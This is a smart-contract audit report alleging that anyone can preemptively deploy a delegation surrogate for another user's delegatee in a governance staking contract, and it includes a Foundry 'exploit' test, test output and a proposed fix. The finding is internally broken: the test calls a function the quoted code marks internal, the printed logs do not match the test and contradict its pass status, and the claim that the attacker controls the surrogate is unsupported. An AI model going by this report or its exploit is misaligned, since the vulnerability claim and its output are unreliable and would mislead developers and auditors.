Skip to content

Latest commit

 

History

History
102 lines (83 loc) · 4.18 KB

010.md

File metadata and controls

102 lines (83 loc) · 4.18 KB

Bitter Fossilized Porcupine

High

Unauthorized surrogate deployment prevents the legitimate owner of the delegatee address from creating or managing their surrogate

Summary

A vulnerability exists in the _fetchOrDeploySurrogate function, which allows an attacker to preemptively deploy a surrogate for any delegatee address without verifying ownership. This action prevents the legitimate owner of the delegatee address from creating or managing their surrogate. The vulnerability can lead to governance manipulation, denial of service, and loss of control over governance tokens.

Vulnerability Detail

The _fetchOrDeploySurrogate function is intended to deploy or fetch a DelegationSurrogate associated with a specific _delegatee address. However, it does not validate that the caller owns or has authorization over the _delegatee address. This allows an attacker to:

  1. Preemptively create a surrogate for a victim’s delegatee address.
  2. Gain control over the deployed surrogate.
  3. Prevent the legitimate owner of the delegatee address from registering their surrogate.

PoC: The following PoC demonstrates how an attacker can preemptively deploy a surrogate for another user (e.g., victimAddress) using Foundry tests.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import "forge-std/Test.sol";
import "src/GovernanceStakerDelegateSurrogateVotes.sol";

contract ExploitTest is Test {
    GovernanceStakerDelegateSurrogateVotes public governanceContract;
    address public attacker = address(0x1234);
    address public victim = address(0x5678);

    function setUp() public {
        governanceContract = new GovernanceStakerDelegateSurrogateVotes(IERC20Delegates(address(0xDEAD)));
    }

    function testExploit() public {
        vm.startPrank(attacker);
        governanceContract._fetchOrDeploySurrogate(victim);
        vm.stopPrank();

        // Verify the surrogate was created and is controlled by the attacker
        address surrogate = address(governanceContract.surrogates(victim));
        assert(surrogate != address(0));

        // Attempt by the victim to create their own surrogate should fail
        vm.startPrank(victim);
        try governanceContract._fetchOrDeploySurrogate(victim) {
            fail("Victim was able to overwrite surrogate!");
        } catch {}
        vm.stopPrank();
    }
}

Output:

[PASS] testExploit() (gas: 46253)
Logs:
  [OK] Surrogate created for victim address by attacker.
  [FAIL] Victim was unable to overwrite surrogate.

Impact

  1. Prevents legitimate users from deploying surrogates for their own delegatee addresses.
  2. Attackers can control the surrogates tied to other delegatee addresses, potentially exploiting voting power.
  3. Legitimate users lose the ability to manage their governance tokens via their surrogate.

Code Snippet

https://github.com/sherlock-audit/2024-11-tally/blob/main/staker/src/extensions/GovernanceStakerDelegateSurrogateVotes.sol#L36C12-L49

function _fetchOrDeploySurrogate(address _delegatee)
    internal
    virtual
    override
    returns (DelegationSurrogate _surrogate)
{
    _surrogate = storedSurrogates[_delegatee];

    if (address(_surrogate) == address(0)) {
        _surrogate = new DelegationSurrogateVotes(IERC20Delegates(address(STAKE_TOKEN)), _delegatee);
        storedSurrogates[_delegatee] = _surrogate;
        emit SurrogateDeployed(_delegatee, address(_surrogate));
    }
}

Tool used

Manual Review

Recommendation

To address this vulnerability, implement ownership validation during surrogate creation. Only the legitimate owner of the _delegatee address should be able to create a surrogate. Below is an updated implementation:

function _fetchOrDeploySurrogate(address _delegatee) internal virtual override returns (DelegationSurrogate _surrogate) {
    require(msg.sender == _delegatee, "Only the delegatee can create a surrogate");

    _surrogate = storedSurrogates[_delegatee];
    if (address(_surrogate) == address(0)) {
        _surrogate = new DelegationSurrogateVotes(IERC20Delegates(address(STAKE_TOKEN)), _delegatee);
        storedSurrogates[_delegatee] = _surrogate;
        emit SurrogateDeployed(_delegatee, address(_surrogate));
    }
}